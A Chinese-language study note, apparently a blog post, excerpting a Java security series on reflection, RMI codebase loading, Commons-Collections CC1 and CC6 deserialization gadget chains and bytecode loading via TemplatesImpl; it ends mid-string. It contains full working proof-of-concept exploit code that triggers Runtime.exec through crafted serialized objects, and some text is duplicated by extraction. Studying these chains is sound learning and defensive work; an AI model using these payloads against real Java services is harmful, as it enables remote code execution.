Java安全漫谈学习笔记 — 一个新旧交替的时刻
[TOC]
准备过两天开始对Java反序列化和内核漏洞这两块展开一些深入的学习,但是Java的内容以及好几个月没用看了都快忘干净了,所以今天就把之前自己写的一些文章重新看了一遍,之后就开始展开学习,所以这就是为什么我说这是一个新旧交替的时刻
的原因了。刚好想到p师傅的[Java安全漫谈系列
](phith0n/JavaThings: Share Things Related to Java – Java安全漫谈笔记相关内容 (github.com))之前还没看过就直接全部过了一遍,感觉还是有很多新收获的。
因为看[Java安全漫谈
](phith0n/JavaThings: Share Things Related to Java – Java安全漫谈笔记相关内容 (github.com))也只是想回顾一下并且看看有没有什么新发现,所以很多细节(像是CC链的详细分析)就不展开了。这篇文章单纯是为了后面这段时间学习方便查找一些资料而摘抄了一些p师傅文章的内容,所以更应该说这是一个学习笔记吧,纯粹搬运工好吧。
PS:想看文章学习的可以划走了,因为我这里只是很零碎地摘了一小部分内容所以直接看我这里的话可能很容易懵。
想系统学习Java反序列化推荐去看原文phith0n/JavaThings: Share Things Related to Java – Java安全漫谈笔记相关内容。
新的收获
- RMI过程中数据的详细交流过程
- PHP,Python,Java三者反序列化的对比
- 动态字节码的加载使用三个类
- CC1 – CC6 – CC3 之间的关系和分别为了解决什么问题而出现(p神这部分梳理的太好了)
1-3 反射
Person p = new Person("zhangsan",20); 该句话都做了什么事情?
代码语言:javascript复制 1,因为new用到了Person.class.所以会先找到Person.class文件并加载到内存中。
2,执行该类中的static代码块,如果有的话,给Person.class类进行初始化。
3,在堆内存中开辟空间,分配内存地址。
4,在堆内存中建立对象的特有属性。并进行默认初始化。
5,对属性进行显示初始化。
6,对对象进行构造代码块初始化。
7,对对象进行对应的构造函数初始化。
8,将内存地址付给栈内存中的p变量。
forname第二个参数为true时会加载执行静态函数的代码。
构造函数私有/保护不可用
单例模式/工厂模式的类无法使用 Runtime 类的构造方法
比如,对于Web应用来说,数据库连接只需要建立一次,而不是每次用到数据库的时候再新建立一个连 接,此时作为开发者你就可以将数据库连接使用的类的构造函数设置为私有,然后编写一个静态方法来 获取
代码语言:javascript复制public class TrainDB {
private static TrainDB instance = new TrainDB();
public static TrainDB getInstance() {
return instance;
}
private TrainDB() {
// 建立连接的代码...
}
}
Runtime类就是单例模式,我们只能通过 Runtime.getRuntime() 来获取到 Runtime 对象。
代码语言:javascript复制Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).
invoke(clazz.getMethod("getRuntime").
invoke(clazz),"calc.exe");
getMethod 的作用是通过反射获取一个类的某个特定的公有方法。因为支持函数重载所以同时需要传递参数参数列表。
invoke 的作用是执行方法,它的第一个参数是:
如果这个方法是一个普通方法,那么第一个参数是类对象 如果这个方法是一个静态方法,那么第一个参数是类
我们正常执行方法是 [1].method([2], [3], [4]…) ,其实在反射里就是method.invoke([1], [2], [3], [4]...)
。
4 – RMI模型加载原理
RMI (Remote Method Invocation) 模型是一种分布式对象应用,使用 RMI 技术可以使一个 JVM 中的对象,调用另一个 JVM 中的对象方法并获取调用结果。这里的另一个 JVM 可以在同一台计算机也可以是远程计算机。因此,RMI 意味着需要一个 Server 端和一个 Client 端。
Server 端通常会创建一个对象,并使之可以被远程访问。
这个对象被称为远程对象。Server 端需要注册这个对象可以被 Client 远程访问。
Client 端调用可以被远程访问的对象上的方法,Client 端就可以和 Server 端进行通信并相互传递信息。
说到这里,是不是发现使用 RMI 在构建一个分布式应用时十分方便,它和 RPC 一样可以实现分布式应用之间的互相通信,甚至和现在的微服务思想都十分类似。
整个过程进⾏行行了了两次TCP握⼿手,也就是我们实际建⽴立了了两次TCP连接。第⼀次建⽴立TCP连接是连接远端 192.168.135.142 的1099端⼝口,这也是我们在代码⾥里里看到的端⼝,⼆者进⾏行行沟通后,我向远端发送了了⼀一个“Call”消息,远端回复了了⼀一个“ReturnData”消息,然后我新建了了⼀个TCP连接,连到远端的33769端口。IP和端⼝口只是这个对象的⼀部分。
⾸首先客户端连接Registry,并在其中寻找Name是Hello的对象,这个对应数据流中的Call消息;然后Registry返回⼀一个序列列化的数据,这个就是找到的Name=Hello的对象,这个对应数据流中的ReturnData消息;客户端反序列列化该对象,发现该对象是⼀一个远程对象,地址在 192.168.135.142:33769 ,于是再与这个地址建⽴立TCP连接;在这个新的连接中,才执⾏行行真正远程⽅方法调⽤用方法。
5 – RMI利用codebase执行任意代码
曾经有段时间,Java是可以运行在浏览器中的,对,就是Applet这个奇葩。在使用Applet的时候通常需 要指定一个codebase属性,比如:
代码语言:javascript复制<applet code="HelloWorld.class" codebase="Applets" width="800" height="600"></applet>
除了Applet,RMI中也存在远程加载的场景,也会涉及到codebase。 codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。 如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为Example类的字节码。RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。 这个时候问题就来了,如果codebase被控制,我们不就可以加载恶意类了吗? 对,在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。 不过显然官方也注意到了这一个安全隐患,所以只有满足如下条件的RMI服务器才能被攻击:
- 安装并配置了SecurityManager String[] s = Naming.list("rmi://192.168.135.142:1099");
- Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false 其中 java.rmi.server.useCodebaseOnly 是在Java 7u21、6u45的时候修改的一个默认设置:
- https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html
- https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
官方将 java.rmi.server.useCodebaseOnly 的默认值由 false 改为了 true 。在java.rmi.server.useCodebaseOnly 配置为 true 的情况下,Java虚拟机将只信任预先配置好的codebase ,不再支持从RMI请求中获取。
6 – 分析RMI协议传输数据包
我们用 tcp.stream eq 0 来筛选出本机与RMI Registry的数据流。复制Wireshark识别出的 Java Serialization 数据段可以发现是由0xACED
开头, 我们可以使用SerializationDumper对Java序列化数据进行分析可以还原得到这一整个序列化对象,其实描述的就是一个字符串,其值是 refObj 。意思是获取远程的 refObj 对象。
然后可以在另一个数据包发现一个 java.lang.reflect.Proxy 对象的序列化后的数据,其中有一段数据储存在 objectAnnotation 中:x000a556e6963617374526566000e3134302e3233382e33342e3231360000fa00276c0508063e8d45a 4462ec50000016d8d8d6357800101 ,记录了RMI Server的地址和端口。
在拿到RMI Server的地址和端口后,本机就会去连接并正式开始调用远程方法。我们再用 tcp.streameq 1 筛选出本机与RMI Server的数据流但是后面不会再有RMI数据流的流量包但是会有一个以50 ac ed
开头的数据包, 其中的50
指的是RMI call
, 在这个数据包中可以看到 [Ljava.rmi.server.ObjID;
的 classAnnotations
确定了codebase
的详细地址。
所以即使没有客户端我们也可以通过发送这个数据包修改 classAnnotations
让服务端加载恶意地址的恶意类。classAnnotations的介绍:
在序列化Java类的时候用到了一个类,叫 ObjectOutputStream 。这个类内部有一个方法 annotateClass , ObjectOutputStream 的子类有需要向序列化后的数据里放任何内容,都可以重写这个方法,写入你自己想要写入的数据。然后反序列化时,就可以读取到这个信息并使用。
en。。。看了一下p神的示例代码结合类名单词的释疑感觉这就是一个用于附带一些用于解释或者额外需要的数据吧。
7 – 各种语言反序列化的比较
Java, Python, Php 反序列化的比较
Java设计 readObject 的思路和PHP的 wakeup 不同点在于: readObject 倾向于解决“反序列化时如 何还原一个完整对象”这个问题,而PHP的 wakeup 更倾向于解决“反序列化后如何初始化这个对象”的 问题。
PHP的序列化是开发者不能参与的,开发者调用 serialize 函数后,序列化的数据就已经完成了,你得 到的是一个完整的对象,你并不能在序列化数据流里新增某一个内容,你如果想插入新的内容,只有将 其保存在一个属性中。也就是说PHP的序列化、反序列化是一个纯内部的过程,而其 __sleep 、_wakeup 魔术方法的目的就是在序列化、反序列化的前后执行一些操作。
Python反序列化和Java、PHP有个显著的区别,就是Python的反序列化过程实际上是在执行一个基于栈的虚拟机。我们可以向栈上增、删对象,也可以执行一些指令,比如函数的执行等,甚至可以用这个虚拟机执行一个完整的应用程序。所以,Python的反序列化可以立即导致任意函数、命令执行漏洞,与需要gadget的PHP和Java相比更加 危险。
从危害上来看,Python的反序列化危害是最大的;从应用广度上来看,Java的反序列化是最常被用到的;从反序列化的原理上来看,PHP和Java是类似又不尽相同的。
例子就是URLDNS, 分析不说了直接贴个Gadget:
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
8 – URLDNS
9 – 开始Common-Collections
再接着就是讲解了CC1和Transform家族的一些类的作用和用法:
Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
代码语言:javascript复制public interface Transformer {
public Object transform(Object input);
}
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可 以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map。
代码语言:javascript复制Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);
ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个 对象,并在transform⽅法将这个对象再返回。所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序 列化能执⾏任意代码的关键。 在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表。
ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串 在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,我们画⼀个图做示意:
POC直接上了:
代码语言:javascript复制mport org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使 用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化 了。 AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是 参数就是前面构造的Map。
Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实 现了 java.io.Serializable 接口。传给ConstantTransformer的是 Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列 化。
9.2 – 版本限制原因的误解(New Point)
在8u71以后大概是2015年12月的时候,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d 。对于这次修改,有些文章说是因为没有了setValue,其实原因和setValue关系不大
。改动后,不再直接使用反序列化得到的Map对象,而是新建了一个linkedHashMap
对象,并将原来的键值添加进去。 所以后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。
所以就引出了通过TiedMapEntry#hashCode触发LazyMap#get的CC6
10 – 用TransformedMap的CC1
11 – 使用LazyMap的CC1
11.1 – ysoserial中的LazyMap
这里p师傅对CC链的这个变化过程也算是解决了我刚学习Java的时候的一个不算问题的问题:为什么会用到代理类
LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承 AbstractMapDecorator。 LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执 行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用factory.transform 方法去获取一个值。
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到 Map的get方法。所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get。
那么又如何能调用到 AnnotationInvocationHandler#invoke 呢?ysoserial的作者想到的是利用Java 的对象代理。
11.2 – Java对象代理
作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需 要用到 java.reflect.Proxy :
代码语言:javascript复制ap proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要 代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻 辑。
sun.reflect.annotation.AnnotationInvocationHandler
这个类实际就 是一个InvocationHandler
,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要 调用任意方法,就会进入到AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get 。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
12.3 – 恍然大悟 – 弹两次计算器的原因
这里的内容真就是解决我的大问题hhh,之前刚学习的时候使用和上面一样链子的POC时不时给我弹两次计算器,调试也没发现问题出在哪里,后面就没深究了,没想到今天在p神的文章找到答案了:
在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所 以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了 命令。 ysoserial对此有一些处理,它在POC的最后才将执行命令的Transformer数组设置到transformerChain 中,原因是避免本地生成序列化流的程序执行到命令(在调试程序的时候可能会触发一次 Proxy#invoke )。
12.4 – 简化的版本无限制CC6
欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了 TiedMapEntry#hashCode 。 ysoserial中,是利⽤
代码语言:javascript复制java.util.HashSet#readObject ==> HashMap#put() ==> HashMap#hash(key) ==> TiedMapEntry#hashCode()
解决Java⾼版本利⽤问 题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅。 我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法 中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法
调用链:
代码语言:javascript复制*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() */
我们需要看的主要是从最开始到 org.apache.commons.collections.map.LazyMap.get() 的那⼀部 分,因为 LazyMap#get 后⾯的部分在上⼀篇⽂章⾥已经说了。所以简单来说,解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅
。
我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法 中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法。
所以,欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了 TiedMapEntry#hashCode 。
- ysoserial中,是利⽤ java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key) 最后到 TiedMapEntry#hashCode() 。
实际上,在 java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调⽤,去掉了 最前⾯的两次调⽤。在HashMap的readObject⽅法中,调⽤到了 hash(key) ,⽽hash⽅法中,调⽤到了 key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过 程,构成⼀个完整的Gadget。
代码语言:javascript复制package com.govuln;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f =
ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
⼤家可以对⽐⼀下,相⽐于ysoserial的CommonsCollections6的代码⻓度和理解的难度,这个简化版是不是⽅便理解得多,实际上原理是类似的,并不是⼀个新的利⽤链。这个利⽤链可以在Java 7和8的⾼版本触发,没有版本限制:
13 – 动态加载字节码(非常精彩)
TemplatesImpl 在fastjson也有很高的出镜率就是因为可以动态加载字节码, 下面说一下动态加载字节码。
13.1 – 什么是Java的“字节码”
严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储 在.class文件中。
众所周知,不同平台、不同CPU的计算机指令有差异,但因为Java是一门跨平台的编译型语言,所以这 些差异对于上层开发者来说是透明的,上层开发者只需要将自己的代码编译一次,即可运行在不同平台 的JVM虚拟机中。 甚至,开发者可以用类似Scala、Kotlin这样的语言编写代码,只要你的编译器能够将代码编译成.class文 件,都可以在JVM虚拟机中运行
但是本文中所说的“字节码”,可以理解的更广义一些——所有能够恢复成一个类并在JVM虚拟机里加 载的字节序列,都在我们的探讨范围内。
13.2 – 利用URLClassLoader加载远程class文件
Java的ClassLoader来用来加载字节码文件最基础的方法
- ClassLoader 是什么呢?它就是一个“加载器”,告诉Java虚拟机如何加载这个类。
- Java默认的 ClassLoader 就是根据类名来加载类,这个类名是类完整路径,如 java.lang.Runtime 。
重点了解ClassLoader: URLClassLoader 。URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释 URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程。
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这 些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
- URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻 找.class文件
- URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻 找.class文件
- URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
我们正常开发的时候通常遇到的是前两者,那什么时候才会出现使用 Loader 寻找类的情况呢?当然是 非 file 协议的情况下,最常见的就是 http 协议。
13.3 – 远程HTTP服务器上加载.class文件
代码语言:javascript复制import java.net.URL;
import java.net.URLClassLoader;
public class HelloClassLoader
{
public static void main( String[] args ) throws Exception
{
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("Hello");
c.newInstance();
}
}
编译一个简单的HelloWorld程序,放在 http://localhost:8000/Hello.class 然后程序就会成功请求到我们的 /Hello.class 文件,并执行了文件里的字节码,输出了"Hello World"。 所以,作为攻击者,如果我们能够控制目标Java ClassLoader的基础路径为一个http服务器,则可以利 用远程加载的方式执行任意代码了。
13.4 – 利用ClassLoader#defineClass直接加载字节码
其实,不管是加 载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:
- loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
- findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
- defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java 默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中。
在学习CommonsCollections — CC3的时候就觉得defineClass居然经过三层调用就觉得挺有意思的:
可以看到结果层层的defineClass函数之后返回的确实是一个Class
类的对象
以编写一个简单的代码,来演示如何让系统的 defineClass 来直接加载字节码:
代码语言:javascript复制package com.govuln;
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(
ClassLoader.getSystemClassLoader(),
"Hello", code,
0, code.length);
hello.newInstance();
}
}
在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中(在本系列文章第一篇 中进行过说明),在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目 标机器上执行任意代码,需要想办法调用构造函数。
系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得 不使用反射的形式来调用。 在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我 们常用的一个攻击链 TemplatesImpl 的基石。
13.5 – 利用TemplatesImpl加载字节码
TemplatesImpl 是⼀个可以加载字节码的类,通过调⽤其 newTransformer() ⽅法,即可执⾏这段字节码的类构造器。
虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它,这就是 TemplatesImpl 。 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类 TransletClassLoader :
代码语言:javascript复制 static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。
从 TransletClassLoader#defineClass() 向前追溯一下调用链
代码语言:javascript复制TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
追到最前面两个方法 TemplatesImpl#getOutputProperties() 、 TemplatesImpl#newTransformer() ,这两者的作用域是public,可以被外部调用。我们尝试用 newTransformer() 构造一个简单的POC:
代码语言:javascript复制public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1